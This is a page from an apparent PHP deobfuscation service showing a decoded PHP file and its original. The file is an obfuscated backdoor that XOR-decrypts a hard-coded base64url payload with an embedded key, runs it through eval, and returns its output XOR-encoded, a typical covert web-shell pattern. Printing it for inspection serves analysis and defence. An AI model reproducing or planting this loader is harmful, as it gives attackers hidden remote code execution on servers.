Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function base64url_encode($data) { return rtrim(strtr(base64_encode($data), '+/'..

Decoded Output download

<?php 
function base64url_encode($data) { 
  return rtrim(strtr(base64_encode($data), '+/', '-_'), '='); 
} 
 
function base64url_decode($data) { 
  return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT)); 
}  
function x($k, $p){ 
		$c = ""; 
		$l = strlen($k); 
		$pl = strlen($p); 
		for($i = 0; $i < $pl; $i++) { 
			$c .= $k[$i % $l] ^ $p[$i]; 
		} 
		return $c; 
} 
$k = 'bdbd9167c0eedf53'; 
$content = "FgsWBVURBAZVOkgXEx5HRBpJT0kZEQcXFEcSSAAHQVJCFg0LTREWF1cFVkUrBUETQlZCVQsLAwFDcScqMTIVZyotMURtdHtnL3ExIEoSTUdoSRATQUNBT04dSEVEVxVEFRNPAFhFVxcRXwoRREYCAVtSQitaRRYXURBUV15TAxMhLCMqfnR6eCQeCAFuS0dEGhYVHBQcGxdDAUUSExEYVwMQA0RLXllDQwNWVFRRFXwBEEJECxEHBVkFU0UnKWVqKyolSk1JQj1OQhIdFhFNHk9JQkQIEUFAFB0BBBAHFUENCxZEGREWBFMQKgYQRhUBQlVQXgwHFnQRVQQRAQIVURtEJhYZYlNHBlgXRSkPW1IFBRBuFENBTxFHHUhJSxUTU0QVE04cUlYXUUUXCwlBE1NRVVEBEXlUFxBFV0RXBwlXUkI2fHByeiYeCAFuS0dEGhYVHBQcGxdDAUUSExEYVwMQA0RLXllDQwFQUFNSFXwBEEJECxEHBVkFU0U2I3R3LyFMHlEfW1NpHRcSHBRCS09JT0QZABZAFEdIAQUSVBMQCw0QGREFA1MERSoHEhUTUERTVgMEABcCUgoQEEhFWxJuBhZOSURAGx1ISERGBxMVExVJXVBCVkNCCgoQRhUHUl1URHZSQhdDAkVUVlwABUIHDQpfWFE9B0ISHRYRTR5PSUJEChFBQBQdAQQQBx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g86SBcTHkdEGklPSRkRBxcURxJIAAdBUkIWDQtNERYXUgVRRSsFQRNCVkJVCwsDAUNADRVKD1taaEkQE0FDQU9OHUhFRFcVRBUTTwBYRVcXEV8KEURGFQJbXUIrWkUWF1EQVFdeUwMTEgwSDVdXWRkTWBVvABRCSxATGhZOSRYXURASEhNLUVIWBUIWVl5CF0MEVVxSRnpQFkRCVhkABA1WBkUVFg9DUhYBaElLRk5FFEhISElGFQJCExUTFFVXQwIQFwoLEhUTQkRQUhl-VUNDEFdFVVQPBlREEAtbXkJETUQdEW5LR0QaFhUcFBwbF0MBRRITERhXAxADREteWUNDEFFSVlIVfAEQQkQLEQcFWQVTRRcDVkYQDRYdF0FeR2kdFxIcFEJLT0lPRBkAFkAUR0gBBRJUExALDRAZEQUEUwdFKgcSFRNQRFNWAwQAFxBVERAUSEVbEm4GFk5JREAbHUhIREYHExUTFUldUEJWQ0IKChBGFQdSXVREdlJCF0MCRVRWXAAFQhAHF01CPFMRRx0XEx4YHk9EU1IZRkFATlQEEQVGR1wNEEJEDQEPAUN_BhFERgcTU1ZYUQ8RQEIPXgAXBQRcXwsQCwFKOw"; 
$split = explode("=", $content); 
if (strcmp(base64url_decode($split[0]),'s3p3hr')) { 
$decoded = base64url_decode($split[1]); 
		$decrypted = x($k,$decoded); 
		ob_start(); 
		try { 
			eval($decrypted); 
		} 
		catch (exception $e) { 
			print($e->getMessage()); 
		} 
		$o = ob_get_contents(); 
		$c = x($k, $o); 
		$e = base64url_encode($c); 
		ob_end_clean(); 
		print($e . "
"); 
} 
?>

Did this file decode correctly?

Original Code

<?php
function base64url_encode($data) {
  return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

function base64url_decode($data) {
  return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));
} 
function x($k, $p){
		$c = "";
		$l = strlen($k);
		$pl = strlen($p);
		for($i = 0; $i < $pl; $i++) {
			$c .= $k[$i % $l] ^ $p[$i];
		}
		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AEQQkQLEQcFWQVTRRcDVkYQDRYdF0FeR2kdFxIcFEJLT0lPRBkAFkAUR0gBBRJUExALDRAZEQUEUwdFKgcSFRNQRFNWAwQAFxBVERAUSEVbEm4GFk5JREAbHUhIREYHExUTFUldUEJWQ0IKChBGFQdSXVREdlJCF0MCRVRWXAAFQhAHF01CPFMRRx0XEx4YHk9EU1IZRkFATlQEEQVGR1wNEEJEDQEPAUN_BhFERgcTU1ZYUQ8RQEIPXgAXBQRcXwsQCwFKOw";
$split = explode("=", $content);
if (strcmp(base64url_decode($split[0]),'s3p3hr')) {
$decoded = base64url_decode($split[1]);
		$decrypted = x($k,$decoded);
		ob_start();
		try {
			eval($decrypted);
		}
		catch (exception $e) {
			print($e->getMessage());
		}
		$o = ob_get_contents();
		$c = x($k, $o);
		$e = base64url_encode($c);
		ob_end_clean();
		print($e . "\n");
}
?>

Function Calls

strtr 1
strlen 1
explode 1
base64url_decode 1

Variables

$k bdbd9167c0eedf53
$data FgsWBVURBAZVOkgXEx5HRBpJT0kZEQcXFEcSSAAHQVJCFg0LTREWF1cFVkUr..
$split [{'key': None, 'value': 'FgsWBVURBAZVOkgXEx5HRBpJT0kZEQcXFEcSSAAHQVJCFg0LTREWF1cFVkUrBUETQlZCVQsLAwFDcScqMTIVZyotMURtdHtnL3ExIEoSTUdoSRATQUNBT04dSEVEVxVEFRNPAFhFVxcRXwoRREYCAVtSQitaRRYXURBUV15TAxMhLCMqfnR6eCQeCAFuS0dEGhYVHBQcGxdDAUUSExEYVwMQA0RLXllDQwNWVFRRFXwBEEJECxEHBVkFU0UnKWVqKyolSk1JQj1OQhIdFhFNHk9JQkQIEUFAFB0BBBAHFUENCxZEGREWBFMQKgYQRhUBQlVQXgwHFnQRVQQRAQIVURtEJhYZYlNHBlgXRSkPW1IFBRBuFENBTxFHHUhJSxUTU0QVE04cUlYXUUUXCwlBE1NRVVEBEXlUFxBFV0RXBwlXUkI2fHByeiYeCAFuS0dEGhYVHBQcGxdDAUUSExEYVwM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